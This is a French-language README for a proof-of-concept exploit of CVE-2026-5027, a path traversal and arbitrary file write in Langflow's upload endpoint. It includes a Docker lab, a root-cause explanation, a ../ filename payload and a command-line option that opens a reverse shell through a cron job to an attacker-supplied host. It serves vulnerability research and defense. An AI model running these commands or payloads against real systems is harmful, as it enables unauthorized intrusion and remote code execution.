
Proof-of-concept d'exploit pour CVE-2026-5027, une traversée de chemin et écriture arbitraire de fichier dans le point de terminaison /api/v2/files de Langflow, avec un laboratoire Docker et une option de reverse shell.
Ce post est un article de recherche publié par EQSTLab.
Merci à Yahia Hamza, qui a signalé et analysé cette vulnérabilité.
★ CVE-2026-5027 Langflow Path Traversal / Arbitrary File Write PoC ★

CVE-2026-5027 : Vulnérabilité d'écriture arbitraire de fichiers dans Langflow
description: Une vulnérabilité de traversée de chemin dans Langflow <= 1.8.4 permet aux attaquants d'écrire des fichiers arbitraires en dehors du répertoire de téléversement prévu via un filename multipart forgé fourni au point de terminaison /api/v2/files. Dans les déploiements où la connexion automatique est activée ou où l'authentification est autrement faiblement appliquée, ce problème peut être exploité pour obtenir une exécution de code à distance en écrivant du contenu contrôlé par l'attaquant à des emplacements sensibles du système de fichiers.
Construisez et exécutez l'environnement vulnérable à l'aide de Docker :
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
Point de terminaison vulnérable
POST /api/v2/files
Le problème existe parce que la fonctionnalité de téléversement fait confiance à la valeur filename multipart fournie par le client. Au lieu de générer un nom de stockage sûr côté serveur ou de contraindre le chemin résolu à un répertoire de téléversement dédié, le chemin de code vulnérable permet à des séquences de traversée telles que ../ d'influencer le chemin de destination final.
Par conséquent, un attaquant peut s'échapper de la racine de stockage prévue et forcer l'application à écrire des fichiers à des emplacements arbitraires sur le système de fichiers du serveur.
Un flux d'exploitation représentatif est le suivant :
/api/v2/files.filename forgé contenant des séquences de traversée de chemin.Il s'agit fondamentalement d'un problème CWE-22 : Limitation incorrecte d'un nom de chemin à un répertoire restreint.
La faille de sécurité est causée par une assainissement et une validation insuffisants des chemins de fichiers contrôlés par l'utilisateur lors du traitement des téléversements. L'application accepte le nom de fichier client d'origine et le transmet au flux de stockage sans appliquer adéquatement la normalisation et le confinement du chemin.
D'un point de vue défensif, le schéma dangereux est conceptuellement similaire à ce qui suit :
save_path = base_dir / file.filename
Si file.filename contient des composants de traversée de chemin tels que :
../../../../tmp/poc.txt
le chemin résolu final peut pointer en dehors de base_dir, permettant une écriture arbitraire de fichiers.
Les vulnérabilités d'écriture arbitraire de fichiers sont souvent plus graves que les problèmes de téléversement non restreint standard, car l'attaquant contrôle non seulement le contenu du fichier, mais aussi le chemin de destination. Selon les privilèges d'exécution du processus Langflow, cela peut permettre :
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
Ce dépôt n'a pas pour but de faciliter l'exploitation non autorisée d'instances Langflow. L'objectif de ce projet est d'aider les chercheurs en sécurité, les défenseurs et les développeurs à comprendre la vulnérabilité, à valider l'exposition dans des environnements contrôlés et à appliquer des mesures d'atténuation efficaces.